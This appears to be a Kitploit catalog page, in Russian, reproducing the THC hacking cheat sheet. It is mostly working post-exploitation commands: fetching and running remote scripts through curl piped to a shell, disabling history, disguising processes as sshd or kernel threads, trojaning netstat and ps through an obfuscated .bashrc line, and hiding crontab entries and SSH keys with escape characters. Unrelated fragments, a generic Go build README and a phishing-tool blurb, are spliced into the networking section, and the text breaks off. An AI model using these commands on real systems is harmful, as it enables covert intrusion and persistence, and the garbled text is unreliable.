Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
thc-tips-tricks-hacks-cheat-sheet — Various tips & tricks | Kitploit
Инструменты/GitHubGitHub/hackerschoice/thc-tips-tricks-hacks-cheat-sheet
OSINT (Open Source Intelligence)Persistence MechanismsLateral MovementData ExfiltrationInformation GatheringPost-ExploitationPenetration TestingRed TeamingCurated Resources

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться
Payload Development
GitHubhackerschoice/thc-tips-tricks-hacks-cheat-sheet

thc-tips-tricks-hacks-cheat-sheet

Various tips & tricks

Репозиторий
3.9k4711 месяц назадПроверено Kitploit

Любимые советы, трюки и хаки THC (Шпаргалка)

https://thc.org/tips

Собрание наших любимых трюков. Многие из этих трюков — не наши. Мы лишь их коллекционируем.

Мы показываем трюки «как есть» без объяснения, почему они работают. Вам нужно знать Linux, чтобы понять, как и почему они работают.

Есть трюки? Присоединяйтесь к нам https://thc.org/ops

  1. Bash
    1. Настройка Hack Shell
    2. Скрыть свои команды
    3. Скрыть параметры командной строки
    4. Скрыть сетевое соединение
    5. Скрыть процесс от пользователя
    6. Скрыть процесс от root
    7. Скрыть скрипты
    8. Скрыть от cat
    9. Выполнение параллельно с отдельными лог-файлами
  2. SSH
    1. Почти невидимый SSH
    2. Несколько оболочек через одно SSH/TCP-соединение
    3. SSH-туннель
    4. SSH socks5-туннель
    5. SSH к хосту за NAT
    6. SSH-пивот через ProxyJump
    7. SSHD от пользователя
  3. Сеть
    1. Обнаружение хостов
    2. Tcpdump
    3. Туннели и проброс
      1. Обратные порты raw TCP
      2. Обратный проброс HTTPS
      3. Отскок трафика с iptables
      4. Ghost IP / IP-спуфинг
      5. Разное
    4. Использовать любой инструмент через Socks-прокси
    5. Узнать свой публичный IP-адрес
    6. Проверить доступность со всего мира
    7. Проверить/просканировать открытые порты
    8. Взлом хэшей паролей
    9. Брутфорс паролей / ключей
  4. Загрузка/скачивание/экфильтрация данных
    1. Кодирование/декодирование файлов
    2. Передача файлов через cut & paste
    3. Передача файлов через tmux
    4. Передача файлов через screen
    5. Передача файлов через gs-netcat и sftp
    6. Передача файлов через HTTP
    7. Скачивание файла без curl
    8. Передача файлов через rsync
    9. Передача файлов на публичные дамп-сайты
    10. Передача файлов через WebDAV
    11. Передача файлов в Telegram
  5. Reverse Shell / Dumb Shell
    1. Reverse Shell'ы
      1. с gs-netcat (шифрованный)
      2. с Bash
      3. с cURL (шифрованный)
      4. с cURL (открытым текстом)
      5. с OpenSSL (шифрованный)
      6. с remote.moe (шифрованный)
      7. без /dev/tcp
      8. с Python
      9. с Perl
      10. с PHP
    2. Улучшение dumb shell
      1. Превратить reverse shell в pty shell
      2. Превратить reverse shell в полностью интерактивную оболочку
      3. Reverse shell с socat (полностью интерактивный)
  6. Бэкдоры
    1. gs-netcat
    2. sshx.io
    3. Самый маленький бэкдор SSHD
    4. Удалённый доступ ко всей сети
    5. Самый маленький PHP-бэкдор
    6. Самый маленький reverse DNS-tunnel бэкдор
    7. Локальный root-бэкдор
    8. Самораспаковывающийся имплант
  7. Разведка хоста
  8. Хаки оболочки
    1. Шреддинг файлов (безопасное удаление)
    2. Восстановить дату файла
    3. Очистить лог-файл
    4. Скрыть файлы от пользователя без прав root
    5. Сделать файл неизменяемым
    6. Сменить пользователя без sudo/su
    7. Обфусцировать и зашифровать пейлоад
    8. Развернуть бэкдор, не касаясь файловой системы
  9. Крипто
    1. Быстро сгенерировать случайный пароль
    2. Переносимые зашифрованные файловые системы Linux
      1. cryptsetup
      2. EncFS
    3. Шифрование файла
  10. Перехват и угон сессий
    1. Перехватить SHELL-сессию пользователя
    2. Перехватить все SHELL-сессии с помощью dtrace
    3. Перехватить все SHELL-сессии с помощью eBPF
    4. Перехватить SSH- или SSHD-сессию пользователя с помощью strace
    5. Перехватить исходящую SSH-сессию пользователя с помощью скрипта-обёртки
    6. Перехватить исходящую SSH-сессию пользователя с помощью SSH-IT
    7. Угон / перехват запущенной SSH-сессии
  11. VPN и оболочки
    1. Одноразовые root-серверы
    2. VPN/VPS-провайдеры
  12. OSINT: сбор разведданных
  13. Разное
    1. Инструменты ремесла
    2. Крутые команды Linux
    3. Шпаргалка по tmux
    4. Полезные команды
  14. Как стать хакером
  15. Другие сайты

1. Bash / Shell

1.i. Настройка Hack Shell (bash):

Сделайте BASH менее шумным. Отключает ~/.bash_history и многие другие вещи.```sh source <(curl -SsfL https://thc.org/hs)

root@kitploit:~
Альтернативный URL:```sh
 source <(curl -SsfL https://github.com/hackerschoice/hackshell/raw/main/hackshell.sh)

А если нет curl/wget, используйте surl и (временно) установленный curl с помощью bin curl.```sh source <(surl https://raw.githubusercontent.com/hackerschoice/hackshell/main/hackshell.sh)

Afterwards type bin curl to (temporarily) install curl (in memory).

root@kitploit:~
HackShell делает гораздо больше, но самое главное — вот что:```sh
unset HISTFILE
[ -n "$BASH" ] && export HISTFILE="/dev/null"
export BASH_HISTORY="/dev/null"
export LANG=en_US.UTF-8
locale -a 2>/dev/null|grep -Fqim1 en_US.UTF || export LANG=en_US
export LESSHISTFILE=-
export REDISCLI_HISTFILE=/dev/null
export MYSQL_HISTFILE=/dev/null
TMPDIR="/tmp"
[ -d "/var/tmp" ] && TMPDIR="/var/tmp"
[ -d "/dev/shm" ] && TMPDIR="/dev/shm"
export TMPDIR
export PATH=".:${PATH}"
if [[ "$SHELL" == *"zsh" ]]; then
    PS1='%F{red}%n%f@%F{cyan}%m %F{magenta}%~ %(?.%F{green}.%F{red})%#%f '
else
    PS1='\[\033[36m\]\u\[\033[m\]@\[\033[32m\]\h:\[\033[33;1m\]\w\[\033[m\]\$ '
fi
alias wget='wget --no-hsts'
alias vi="vi -i NONE"
alias vim="vim -i NONE"
alias screen="screen -ln"

TERM=xterm reset -I
stty cols 400 # paste this on its own before pasting the next line:
resize &>/dev/null || { stty -echo;printf "\e[18t"; read -t5 -rdt R;IFS=';' read -r -a a <<< "${R:-8;25;80}";[ "${a[1]}" -ge "${a[2]}" ] && { R="${a[1]}";a[1]="${a[2]}";a[2]="${R}";};stty sane rows "${a[1]}" cols "${a[2]}";}
# stty sane rows 60 cols 160

Мы часто используем anew, и это быстрый обходной путь:```shell xanew() { awk 'hit[$0]==0 {hit[$0]=1; print $0}'; } which anew &>/dev/null || alias anew=xanew

root@kitploit:~
Бонусный совет:
Любая команда, начинающаяся с « » (пробела), также [не попадает в историю](https://unix.stackexchange.com/questions/115917/why-is-bash-not-storing-commands-that-start-with-spaces).```
$  id

1.ii. Скройте свою команду / Демонизируйте свою команду

Это скроет только имя процесса. Используйте zapper, чтобы также скрыть параметры командной строки.```shell (exec -a syslogd nmap -Pn -F -n --open -oG - 10.0.2.1/24) # Note the brackets '(' and ')'

root@kitploit:~
Запустите фоновый 'nmap', скрытый как '/usr/sbin/sshd':```
(exec -a '/usr/sbin/sshd' nmap -Pn -F -n --open -oG - 10.0.2.1/24 &>nmap.log &)

Начните в GNU screen:``` screen -dmS MyName nmap -Pn -F -n --open -oG - 10.0.2.1/24

Attach back to the nmap process

screen -x MyName

root@kitploit:~
В качестве альтернативы скопируйте бинарный файл под новым именем:```sh
cd /dev/shm
cp "$(command -v nmap)" syslogd
PATH=.:$PATH syslogd -Pn -F -n --open -oG - 10.0.2.1/24

или используйте bind-mount, чтобы (временно) заставить /sbin/init указывать на /dev/shm/nmap вместо этого:```shell mount -n --bind "$(command -v nmap)" /sbin/init

starting /sbin/init will instead execute nmap

(/sbin/init -Pn -f -n --open -oG - 10.0.2.1/24 &>nmap.log &)

root@kitploit:~
<a id="zap"></a>
**1.iii. Скрывайте параметры командной строки**

Используйте [zapper](https://github.com/hackerschoice/zapper):```sh
curl -fL -o zapper https://github.com/hackerschoice/zapper/releases/latest/download/zapper-linux-$(uname -m) && \
chmod 755 zapper

.```sh

Start Nmap but zap all options and show it as 'klog' in the process list:

./zapper -a klog nmap -Pn -F -n --open -oG - 10.0.0.1/24

Started as a daemon and sshd-style name:

(./zapper -a 'sshd: root@pts/0' nmap -Pn -F -n --open -oG - 10.0.0.1/24 &>nmap.log &)

Replace the existing shell with tmux (with 'exec').

Then start and hide tmux and all further processes - as some kernel process:

exec ./zapper -f -a'[kworker/1:0-rcu_gp]' tmux

root@kitploit:~
<a id="bash-hide-connection"></a>
**1.iv. Скрыть сетевое соединение**

Трюк заключается в том, чтобы перехватить `netstat` и использовать grep для фильтрации нашего соединения. Этот пример отфильтрует любое соединение на порту 31337 _или_ ip 1.2.3.4. То же самое следует сделать и для `ss` (альтернативы netstat).

**Метод 1 — Скрытие соединения с помощью bash-функции в ~/.bashrc**

Скопируйте и вставьте это, чтобы добавить строку в ~/.bashrc```shell
echo 'netstat(){ command netstat "$@" | grep -Fv -e :31337 -e 1.2.3.4; }' >>~/.bashrc \
&& touch -r /etc/passwd ~/.bashrc

Или скопируйте и вставьте это для обфусцированной записи в /.bashrc:```shell X='netstat(){ command netstat "$@" | grep -Fv -e :31337 -e 1.2.3.4; }' echo "eval $(echo $(echo "$X" | xxd -ps -c1024)|xxd -r -ps) #Initialize PRNG" >>/.bashrc
&& touch -r /etc/passwd ~/.bashrc

root@kitploit:~
Обфусцированная запись в ~/.bashrc будет выглядеть так:```
eval $(echo 6e65747374617428297b20636f6d6d616e64206e6574737461742022244022207c2067726570202d4676202d65203a3331333337202d6520312e322e332e343b207d0a|xxd -r -ps) #Initialize PRNG

Метод 2 - Скрытие соединения с помощью бинарника в $PATH

Создайте поддельный бинарник netstat в /usr/local/sbin. В стандартном Debian (и в большинстве Linux) переменная PATH (echo $PATH) перечисляет /usr/local/sbin перед /usr/bin. Это означает, что наш подменяющий бинарник /usr/local/sbin/netstat будет выполнен вместо /usr/bin/netstat.```shell echo '#! /bin/bash exec /usr/bin/netstat "$@" | grep -Fv -e :22 -e 1.2.3.4' >/usr/local/sbin/netstat
&& chmod 755 /usr/local/sbin/netstat
&& touch -r /usr/bin/netstat /usr/local/sbin/netstat

root@kitploit:~
*(спасибо iamaskid)*

<a id="hide-a-process-user"></a>
**1.v. Скрытие процесса как пользователь**

Продолжая тему «Скрытие соединения», тот же метод можно использовать для скрытия процесса. Этот пример скрывает процесс nmap, а также заботится о том, чтобы наш `grep` не отображался в списке процессов, переименовывая его в GREP:```shell
echo 'ps(){ command ps "$@" | exec -a GREP grep -Fv -e nmap  -e GREP; }' >>~/.bashrc \
&& touch -r /etc/passwd ~/.bashrc

1.vi. Скрытие процесса от имени root

Для этого требуются права root. Это старый трюк Linux, заключающийся в монтировании бесполезной директории поверх /proc/<pid>:```sh hide() { [[ -L /etc/mtab ]] && { cp /etc/mtab /etc/mtab.bak; mv /etc/mtab.bak /etc/mtab; } _pid=${1:-$$} [[ $_pid =~ ^[0-9]+$ ]] && { mount -n --bind /dev/shm /proc/$_pid && echo "[THC] PID $_pid is now hidden"; return; } local _argstr for _x in "${@:2}"; do _argstr+=" '${_x//'/'"'"'}'"; done [[ $(bash -c "ps -o stat= -p $$") =~ + ]] || exec bash -c "mount -n --bind /dev/shm /proc/$$; exec "$1" $_argstr" bash -c "mount -n --bind /dev/shm /proc/$$; exec "$1" $_argstr" }

root@kitploit:~
Чтобы скрыть команду, используйте:```sh
hide                                 # Hides the current shell/PID
hide 31337                           # Hides process with pid 31337
hide sleep 1234                      # Hides 'sleep 1234'
hide nohup sleep 1234 &>/dev/null &  # Starts and hides 'sleep 1234' as a background process

(спасибо druichi за улучшение)

1.vii. Скрытие shell-скриптов

Выше мы обсуждали, как запутывать строку в ~/.bashrc. Часто используемый трюк — использовать source вместо этого. Команду source можно сократить до . (да, точки) и она также ищет файл для загрузки в переменной $PATH.

В этом примере наш скрипт prng содержит все наши shell-функции из предыдущего раздела. Эти функции скрывают процесс nmap и сетевое соединение. Наконец, мы добавляем . prng в общесистемный rc-файл. Это загрузит prng при входе пользователя (и root):```shell echo -e 'netstat(){ command netstat "$@" | grep -Fv -e :31337 -e 1.2.3.4; } ps(){ command ps "$@" | exec -a GREP grep -Fv -e nmap -e GREP; }' >/usr/bin/prng
&& echo ". prng #Initialize Pseudo Random Number Generator" >>/etc/bash.bashrc
&& touch -r /etc/ld.so.conf /usr/bin/prng /etc/bash.bashrc

root@kitploit:~
(The same works for `lsof`, `ss` and `ls`)

<a id="cat"></a>
**1.viii. Hide from cat**

ANSI escape characters or a simple `\r` ([carriage return](https://www.hahwul.com/2019/01/23/php-hidden-webshell-with-carriage/)) can be used to hide from `cat` and others.

Hide the last command (example: `id`) in `~/.bashrc`:

(То же самое работает для `lsof`, `ss` и `ls`)

<a id="cat"></a>
**1.viii. Скрытие от cat**

Управляющие ANSI-символы или простой `\r` ([возврат каретки](https://www.hahwul.com/2019/01/23/php-hidden-webshell-with-carriage/)) можно использовать, чтобы скрыться от `cat` и других.

Скройте последнюю команду (например: `id`) в `~/.bashrc`:```sh
echo -e "id #\\033[2K\\033[1A" >>~/.bashrc
### The ANSI escape sequence \\033[2K erases the line. The next sequence \\033[1A
### moves the cursor 1 line up.
### The '#' after the command 'id' is a comment and is needed so that bash still
### executes the 'id' but ignores the two ANSI escape sequences.

Добавьте скрытую строку crontab:```sh (crontab -l; echo -e "0 2 * * * { id; date;} 2>/dev/null >/tmp/.thc-was-here #\033[2K\033[1A") | crontab

root@kitploit:~
Добавление `\r` (возврат каретки) очень помогает скрыть ваш ssh-ключ от `cat`:```shell
echo "ssh-ed25519 AAAAOurPublicKeyHere....blah x@y"$'\r'"$(<authorized_keys)" >authorized_keys
### This adds our key as the first key and 'cat authorized_keys' won't show
### it. The $'\r' is a bash special to create a \r (carriage return).

1.ix. Выполнение параллельно с отдельными файлами журналов*

Примечание: То же самое можно сделать с помощью parallel.

Сканируйте хосты с 20 параллельными задачами:```sh cat hosts.txt | xargs -P20 -I{} --process-slot-var=SLOT bash -c 'exec nmap -n -Pn -sV -F --open -oG - {} >>"nmap_${SLOT}.txt"'

root@kitploit:~
- `exec` используется для замены базовой оболочки последним процессом (nmap). Это необязательно, но уменьшает количество работающих/бесполезных бинарников оболочки.
- `${SLOT}` содержит значение от 0 до 19. Это «номер задачи». Мы используем его для записи результатов nmap в 20 отдельных файлов.

Запустите [Linpeas](https://github.com/carlospolop/PEASS-ng) на всех хостах [gsocket](https://www.gsocket.io/deploy), используя 40 воркеров:```sh
cat secrets.txt | xargs -P40 -I{} --process-slot-var=SLOT bash -c 'mkdir host_{}; gsexec {} "curl -fsSL https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | sh" >host_{}/linpeas.log 2>>"linpeas-${SLOT}.err"'

2. SSH

2.i. Почти невидимый SSH

Не позволяет вам отображаться в выводе команд w или who и предотвращает запись хоста в ~/.ssh/known_hosts.```sh ssh -o UserKnownHostsFile=/dev/null -T [email protected] "bash -i"

root@kitploit:~
Полный комфорт с PTY и цветами: `xssh [email protected]`:```sh
### Cut & Paste the following to your shell, then execute
### xssh [email protected]
xssh() {
    local ttyp="$(stty -g)"
    echo -e "\e[0;35mTHC says: pimp up your prompt: Cut & Paste the following into your remote shell:\e[0;36m"
    echo -e '\e[0;36msource <(curl -SsfL https://github.com/hackerschoice/hackshell/raw/main/hackshell.sh)\e[0m'
    echo -e "\e[2m# or: \e[0;36m\e[2mPS1='"'\[\\033[36m\]\\u\[\\033[m\]@\[\\033[32m\]\\h:\[\\033[33;1m\]\\w\[\\033[m\]\\$ '"'\e[0m"
    stty raw -echo icrnl opost
    [[ $(ssh -V 2>&1) == OpenSSH_[67]* ]] && a="no"
    ssh -oConnectTimeout=5 -oUserKnownHostsFile=/dev/null -oStrictHostKeyChecking="${a:-accept-new}" -T \
        "$@" \
        "unset SSH_CLIENT SSH_CONNECTION; LESSHISTFILE=- MYSQL_HISTFILE=/dev/null TERM=xterm-256color HISTFILE=/dev/null BASH_HISTORY=/dev/null exec -a [uid] script -qc 'source <(resize 2>/dev/null); exec -a [uid] bash -i' /dev/null"
    stty "${ttyp}"
}

(См. Hackshell)

2.ii Несколько оболочек через одно SSH/TCP-соединение

Установите одно TCP-соединение с целью и позвольте нескольким пользователям присоединиться к этому же TCP-соединению, чтобы открывать дополнительные сеансы оболочки.

Создайте мастер-соединение:```sh ssh -M -S .sshmux [email protected]

root@kitploit:~
Создавайте дополнительные shell-сессии, используя то же (единственное) Master-TCP-соединение, указанное выше (пароль/авторизация не требуются):```sh
ssh -S .sshmux NONE
#ssh -S .sshmux NONE ls -al
#scp -o "ControlPath=.sshmux" NONE:/etc/passwd .

Can be combined with xssh to hide from utmp.

2.iii SSH-туннель

Мы постоянно используем это для обхода локальных файрволов и фильтрации по IP:```sh ssh -g -L31337:1.2.3.4:80 [email protected]

root@kitploit:~
Теперь вы или кто-либо ещё можете подключиться к вашему компьютеру на порту 31337, и трафик будет туннелирован на 1.2.3.4 порт 80, при этом источник будет отображаться как IP-адрес 'server.org'. Альтернативный вариант, не требующий сервера, — использовать [gs-netcat](#backdoor-network).

Опытные хакеры используют комбинацию клавиш `~C`, чтобы динамически создавать такие туннели без переподключения SSH. (спасибо MessedeDegod).

Мы используем это, чтобы дать другу доступ к внутренней машине, которая не находится в публичном интернете:```sh
ssh -o ExitOnForwardFailure=yes -g -R31338:192.168.0.5:80 [email protected]

Любой, кто подключится к server.org:31338, будет перенаправлен на 192.168.0.5 на порт 80 через ваш компьютер. Альтернатива без необходимости в сервере — использовать gs-netcat.

2.iv SSH socks4/5 туннель

OpenSSH 7.6 добавляет поддержку socks для динамического перенаправления. Пример: пропустите весь трафик вашего браузера через ваш сервер.```sh ssh -D 1080 [email protected]

root@kitploit:~
Теперь настройте браузер на использование SOCKS с 127.0.0.1:1080. Весь ваш трафик теперь туннелируется через *server.org* и будет иметь исходный IP-адрес *server.org*. Альтернатива, не требующая сервера, — использовать [gs-netcat](#backdoor-network).

Это обратный вариант приведенного выше примера. Это даёт другим доступ к вашей *локальной* сети или позволяет другим использовать ваш компьютер в качестве конечной точки туннеля.```sh
ssh -g -R 1080 [email protected]

Остальные настраивают server.org:1080 в качестве SOCKS4/5-прокси. Теперь они могут подключаться к любому компьютеру на любом порту, к которому имеет доступ ваш компьютер. Это включает доступ к компьютерам за вашим межсетевым экраном, находящимся в вашей локальной сети. Альтернатива без необходимости в сервере — использовать gs-netcat.

2.v SSH к хосту за NAT

ssh-j.com предоставляет отличный релейный сервис: для доступа к хосту за NAT/межсетевым экраном (по SSH).

На хосте за NAT: создайте обратный SSH-туннель к ssh-j.com так:```sh

Cut & Paste on the host behind NAT.

sshj() { local pw pw=${1,,} [[ -z $pw ]] && { pw=$(head -c64 </dev/urandom | base64 | tr -d -c a-z0-9); pw=${pw:0:12}; } echo "Press Ctrl-C to stop this tunnel." echo -e "To ssh to ${USER:-root}@${2:-127.0.0.1}:${3:-22} type: \e[0;36mssh -J ${pw}@ssh-j.com ${USER:-root}@${pw}\e[0m" ssh -o StrictHostKeyChecking=accept-new -o ServerAliveInterval=30 -o ExitOnForwardFailure=yes ${pw}@ssh-j.com -N -R ${pw}:22:${2:-0}:${3:-22} }

sshj # Generates a random tunnel ID [e.g. 5dmxf27tl4kx] and keeps the tunnel connected sshj foobarblahblub # Creates tunnel to 127.0.0.1:22 with specific tunnel ID sshj foobarblahblub 192.168.0.1 2222 # Tunnel to host 192.168.0.1:2222 on the LAN

root@kitploit:~
Затем используйте эту команду из любой другой точки мира, чтобы подключиться как 'root' к 'foobarblahblub' (хосту за NAT):```sh
ssh -J [email protected] root@foobarblahblub

SSH-соединение проходит через ssh-j.com в обратный туннель к хосту за NAT. Трафик зашифрован сквозным шифрованием, и ssh-j.com не может видеть содержимое.

2.vi SSH-пивотинг на несколько серверов

SSH ProxyJump может сэкономить вам массу времени и избавить от хлопот при работе с удалёнными серверами. Рассмотрим сценарий:

Наша рабочая станция — это $local-kali, и мы хотим подключиться по SSH к $target-host. Прямого соединения между нашей рабочей станцией и $target-host нет. Наша рабочая станция может дотянуться только до $C2. $C2 может дотянуться до $internal-jumphost (через внутренний eth1), а $internal-jumphost может достичь конечного $target-host через eth2.```sh $local-kali -> $C2 -> $internal-jumphost -> $target-host eth0 192.168.8.160 10.25.237.119
eth1 192.168.5.130 192.168.5.135 eth2 172.16.2.120 172.16.2.121

root@kitploit:~
> Мы не выполняем `ssh` ни на одном компьютере, кроме нашего доверенного рабочего места — и вам не следует (никогда).

В этом помогает ProxyJump: мы можем «перепрыгивать» через два промежуточных сервера $C2 и $internal-jumphost (не запуская оболочку на этих серверах). SSH-соединение зашифровано сквозным шифрованием между нашими $local-kali и $target-host, и ни пароль, ни ключ не раскрываются ни $C2, ни $internal-jumphost.```sh 
## if we want to SSH to $target-host:
kali@local-kali$ ssh -J [email protected],[email protected] [email protected]

## if we want to SSH to just $internal-jumphost:
kali@local-kali$ ssh -J [email protected] [email protected]

Мы также используем это для скрытия нашего IP-адреса при входе на серверы.

2.vii SSHD от непривилегированного пользователя

Можно запустить SSHD-сервер от непривилегированного пользователя и использовать его для мультиплексирования или перенаправления TCP-соединений (без ведения журнала и когда общесистемный SSHD запрещает перенаправление/мультиплексирование) или как быстрый exfil-dump-сервер, работающий без прав root:```sh

On the server, as non-root user 'joe':

mkdir -p /.ssh 2>/dev/null ssh-keygen -q -N "" -t ed25519 -f sshd_key cat sshd_key.pub >>/.ssh/authorized_keys cat sshd_key $(command -v sshd) -f /dev/null -o HostKey=$(pwd)/sshd_key -o GatewayPorts=yes -p 31337 # -Dvvv

root@kitploit:~
```sh
# On the client, copy the sshd_key from the server. Then login:
# Example: Proxy connection via the server and reverse-forward 31339 to localhost:
ssh -D1080 -R31339:0:31339 -i sshd_key -p 31337 [email protected]
# curl -x socks5h://0 ipinfo.io

SSF — это альтернативный способ мультиплексирования TCP поверх TLS.


3. Сеть

3.i. Обнаружение хостов```sh

ARP discover computers on the LOCAL network only

nmap -n -sn -PR -oG - 192.168.0.1/24

root@kitploit:~
Входные данные отсутствуют. Пожалуйста, предоставьте текст фрагмента для перевода.```sh
### ICMP discover hosts
nmap -n -sn -PI -oG - 192.168.0.1/24

IDAM использует подход «все включено», включающий различные инструменты в коробке.

  • Он генерирует HTML-шаблоны фишинга для страниц входа ADFS, OWA и O365.
  • Инструменты "противник-в-середине" (AitM), такие как MurmurHash2, используются для выполнения атак типа "противник-в-середине".
  • Поддерживается перебор паролей (password spraying) для ADFS, OWA, O365 и MSOL.
  • Цели могут быть отправлены push-уведомления MFA.
  • Присоединение виртуальной машины, входящей в домен, к Azure AD или сброс пароля пользователя поддерживаются.```sh

ICMP discover hosts (local LAN) ROOT

NET="10.11.0" # discover 10.11.0.1-10.11.0.254

seq 1 254 | xargs -P20 -I{} ping -n -c3 -i0.2 -w1 -W200 "${NET:-192.168.0}.{}" | grep 'bytes from' | awk '{print $4" "$7;}' | sort -uV -k1,1

root@kitploit:~
---
<a id="tcpdump"></a>
**3.ii. tcpdump**```sh
## Monitor every new TCP connection
tcpdump -np 'tcp[tcpflags] ^ (tcp-syn|tcp-ack) == 0'

## Play a *bing*-noise for every new SSH connection
tcpdump -nplq 'tcp[13] == 2 and dst port 22' | while read -r x; do echo "${x}"; echo -en \\a; done

## Ascii output (for all large packets. Change to >40 if no TCP options are used).
tcpdump -npAq -s0 'tcp and (ip[2:2] > 60)'

3.iii. Туннель и переадресация```sh

Connect to SSL (using socat)

socat stdio openssl-connect:smtp.gmail.com:465

Connect to SSL (using openssl)

openssl s_client -connect smtp.gmail.com:465

root@kitploit:~
## ⚙️ Сборка из исходников

### Предварительные требования

Перед сборкой убедитесь, что у вас установлено следующее:

*   **Go** (версия 1.21 или новее) — [скачать](https://golang.org/dl/)
*   **Git** — [скачать](https://git-scm.com/downloads)
*   **Make** (опционально, для использования прилагаемого Makefile)

### 1. Клонирование репозитория

```bash
git clone https://github.com/your-org/your-repo.git
cd your-repo

2. Сборка

Использование Make (рекомендуется)

root@kitploit:~
make build

Это скомпилирует бинарный файл и поместит его в директорию bin/.

Ручная сборка

root@kitploit:~
go build -o bin/myapp ./cmd/myapp

Замените myapp на фактическое имя вашего приложения.

3. Запуск

root@kitploit:~
./bin/myapp

Перед запуском ознакомьтесь с разделом Конфигурация для настройки вашего окружения.

---```sh

Bridge TCP to SSL

socat TCP-LISTEN:25,reuseaddr,fork openssl-connect:smtp.gmail.com:465

root@kitploit:~
---
<a id="ports"></a>
**3.iii.a Сырые обратные TCP-порты**

Полезно для обратных бэкдоров, которым нужен TCP-порт на публичном IP-адресе:

Используя [segfault.net](https://thc.org/segfault.net) (бесплатно):```sh
# Request a random public TCP port:
curl sf/port
echo "Your public IP:PORT is $(cat /config/self/reverse_ip):$(cat /config/self/reverse_port)"
nc -vnlp $(cat /config/self/reverse_port)

Использование bore.pub (бесплатно):```sh

Forward a random public TCP port to localhost:31337

bore local 31337 --to bore.pub

root@kitploit:~
используя [serveo.net](https://serveo.net) (бесплатно):```sh
# Forward a random public TCP port to localhost:31337
ssh -R 0:localhost:31337 [email protected]

используя pinggy.io (60 минут бесплатно):```sh ssh -p 443 -R 0:localhost:31337 [email protected]

root@kitploit:~
См. также [remote.moe](#revese-shell-remote-moe) (бесплатно) для проброса сырого TCP с целевой машины на вашу рабочую станцию или [playit](https://playit.gg/) (бесплатно) или [ngrok](https://ngrok.com/) (платная подписка) для проброса открытого публичного TCP-порта.

Другие бесплатные сервисы ограничены пробросом только HTTPS (не сырого TCP). Некоторые приёмы ниже показывают, как туннелировать сырой TCP через HTTPS-пробросы (с использованием веб-сокетов).

---
<a id="https"></a>
**3.iii.b Обратные HTTPS-туннели**

На сервере используйте любой из этих трёх HTTPS-туннелирующих сервисов:```sh
### Reverse HTTPS tunnel to forward public HTTPS requests to this server's port 8080:
ssh -R80:0:8080 -o StrictHostKeyChecking=accept-new [email protected]
### Or using remote.moe
ssh -R80:0:8080 -o StrictHostKeyChecking=accept-new [email protected]
### Or using cloudflared
curl -fL -o cloudflared https://github.com/cloudflare/cloudflared/releases/latest/download/cloudflared-linux-amd64
chmod 755 cloudflared
cloudflared tunnel --url http://localhost:8080 --no-autoupdate

Любой из сервисов сгенерирует для вас новый временный HTTPS-URL.

Затем используйте websocat или Gost на обоих концах для туннелирования raw TCP через HTTPS-URL:

A. Простой конвейер STDIN/STDOUT через HTTPS:```sh

On the server convert WebSocket to raw TCP:

websocat -s 8080

root@kitploit:~
```sh
### On the remote target forward stdin/stdout to WebSocket:
websocat wss://<HTTPS-URL>

B. Проброс raw TCP через HTTPS:```sh

On the server: Gost will translate any HTTP-websocket request to a TCP socks5 request:

gost -L mws://:8080

root@kitploit:~
Перенаправьте порт 2222 на порт 22 сервера.```sh
### On the workstation:
gost -L tcp://:2222/127.0.0.1:22 -F 'mwss://<HTTPS-URL>:443'
### Test the connection (will connect to localhost:22 on the server)
nc -vn 127.0.0.1 2222

или используйте сервер как EXIT-узел Socks-Proxy (например, для доступа к любому хосту внутри сети сервера или даже к Интернету через сервер (используя HTTPS-обратный туннель, описанный выше):```sh

On the workstation:

gost -L :1080 -F 'mwss://:443'

Test the Socks-proxy:

curl -x socks5h://0 ipinfo.io

root@kitploit:~
Ещё: [https://github.com/twelvesec/port-forwarding](https://github.com/twelvesec/port-forwarding) и [Туннель через Cloudflare к любому TCP-сервису](https://iq.thc.org/tunnel-via-cloudflare-to-any-tcp-service) и [Awesome Tunneling](https://github.com/anderspitman/awesome-tunneling).

---
<a id="iptables"></a>
**3.iii.c Проброс трафика с помощью iptables**

Выполняйте проброс через хост/маршрутизатор без необходимости запускать прокси или форвардер в пользовательском пространстве:```sh
bounceinit() {
    echo 1 >/proc/sys/net/ipv4/ip_forward
    echo 1 >/proc/sys/net/ipv4/conf/all/route_localnet
    [ $# -le 0 ] && set -- "0.0.0.0/0"
    while [ $# -gt 0 ]; do
        iptables -t mangle -I PREROUTING -s "${1}" -p tcp -m addrtype --dst-type LOCAL -m conntrack ! --ctstate ESTABLISHED -j MARK --set-mark 1188 
        shift 1
    done
    iptables -t mangle -D PREROUTING -j CONNMARK --restore-mark >/dev/null 2>/dev/null
    iptables -t mangle -I PREROUTING -j CONNMARK --restore-mark
    iptables -I FORWARD -m mark --mark 1188 -j ACCEPT
    iptables -t nat -I POSTROUTING -m mark --mark 1188 -j MASQUERADE
    iptables -t nat -I POSTROUTING -m mark --mark 1188 -j CONNMARK --save-mark
}
bounce() {
    iptables -t nat -A PREROUTING -p tcp --dport "${1:?}" -m mark --mark 1188 -j DNAT --to ${2:?}:${3:?}
}
bounceinit                             # Allow EVERY IP to bounce
# bounceinit "1.2.3.4/16" "6.6.0.0/16" # Only allow these SOURCE IP's to bounce

(См. Hackshell bounce)

Затем настройте пересылку следующим образом:```sh bounce 31337 144.76.220.20 22 # Bounce 31337 to segfault's ssh port. bounce 31338 127.0.0.1 8080 # Bounce 31338 to the server's 8080 (localhost) bounce 53 213.171.212.212 443 # Bounce 53 to gsrn-relay on port 443

root@kitploit:~
Мы используем этот трюк, чтобы добраться до gsocket-relay-network (или TOR) из глубоко защищённых файрволами сетей.```sh
# Deploy on a target that can only reach 192.168.0.100  
GS_HOST=192.168.0.100 GS_PORT=53 ./deploy.sh  
root@kitploit:~
# Access the target  
GS_HOST=213.171.212.212 gs-netcat -i -s ...

3.vi.c Ghost IP / IP Spoofing

